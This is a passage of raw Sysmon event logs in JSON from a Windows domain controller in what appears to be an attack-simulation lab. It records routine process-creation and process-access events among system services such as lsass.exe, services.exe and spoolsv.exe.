ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.250","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":1073,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.261\r\nProcessGuid: {90617006-3FE4-5F2D-0000-00107A0C0200}\r\nProcessId: 1884\r\nImage: C:\\Windows\\System32\\spoolsv.exe\r\nFileVersion: 10.0.14393.3808 (rs1_release.200707-2105)\r\nDescription: Spooler SubSystem App\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: spoolsv.exe\r\nCommandLine: C:\\Windows\\System32\\spoolsv.exe\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=0105816460F59AAC077848616872DD7C,SHA256=37297B9EED859DBA103252CD3CFDBD88DC752C96D001A3C0E5FBF9F11D2ABAFF,IMPHASH=5788588905781015CF350C5A9ABBA1F2\r\nParentProcessGuid: {90617006-3FD2-5F2D-0000-00101D530000}\r\nParentProcessId: 852\r\nParentImage: C:\\Windows\\System32\\services.exe\r\nParentCommandLine: C:\\Windows\\system32\\services.exe","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.261","ProcessGuid":"{90617006-3FE4-5F2D-0000-00107A0C0200}","Image":"C:\\Windows\\System32\\spoolsv.exe","FileVersion":"10.0.14393.3808 (rs1_release.200707-2105)","Description":"Spooler SubSystem App","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"spoolsv.exe","CommandLine":"C:\\Windows\\System32\\spoolsv.exe","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=0105816460F59AAC077848616872DD7C,SHA256=37297B9EED859DBA103252CD3CFDBD88DC752C96D001A3C0E5FBF9F11D2ABAFF,IMPHASH=5788588905781015CF350C5A9ABBA1F2","ParentProcessGuid":"{90617006-3FD2-5F2D-0000-00101D530000}","ParentProcessId":"852","ParentImage":"C:\\Windows\\System32\\services.exe","ParentCommandLine":"C:\\Windows\\system32\\services.exe","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1074,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.266\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 1152\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00107A0C0200}\r\nTargetProcessId: 1884\r\nTargetImage: C:\\Windows\\System32\\spoolsv.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|C:\\Windows\\system32\\services.exe+12939|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+5154|C:\\Windows\\system32\\services.exe+d7ae|C:\\Windows\\system32\\services.exe+20a11|C:\\Windows\\SYSTEM32\\ntdll.dll+2b9ae|C:\\Windows\\SYSTEM32\\ntdll.dll+29bc4|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.266","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"1152","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00107A0C0200}","TargetProcessId":"1884","TargetImage":"C:\\Windows\\System32\\spoolsv.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|C:\\Windows\\system32\\services.exe+12939|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+5154|C:\\Windows\\system32\\services.exe+d7ae|C:\\Windows\\system32\\services.exe+20a11|C:\\Windows\\SYSTEM32\\ntdll.dll+2b9ae|C:\\Windows\\SYSTEM32\\ntdll.dll+29bc4|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1075,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.266\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00107A0C0200}\r\nTargetProcessId: 1884\r\nTargetImage: C:\\Windows\\System32\\spoolsv.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.266","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00107A0C0200}","TargetProcessId":"1884","TargetImage":"C:\\Windows\\System32\\spoolsv.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1076,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.266\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 936\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00107A0C0200}\r\nTargetProcessId: 1884\r\nTargetImage: C:\\Windows\\System32\\spoolsv.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.266","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"936","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00107A0C0200}","TargetProcessId":"1884","TargetImage":"C:\\Windows\\System32\\spoolsv.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1077,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.281\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00107A0C0200}\r\nTargetProcessId: 1884\r\nTargetImage: C:\\Windows\\System32\\spoolsv.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.281","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00107A0C0200}","TargetProcessId":"1884","TargetImage":"C:\\Windows\\System32\\spoolsv.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1078,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.281\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00107A0C0200}\r\nTargetProcessId: 1884\r\nTargetImage: C:\\Windows\\System32\\spoolsv.exe\r\nGrantedAccess: 0x1478\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.281","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00107A0C0200}","TargetProcessId":"1884","TargetImage":"C:\\Windows\\System32\\spoolsv.exe","GrantedAccess":"0x1478","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1079,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.281\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.281","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1080,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.281\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 1100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.281","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"1100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1081,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.281\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 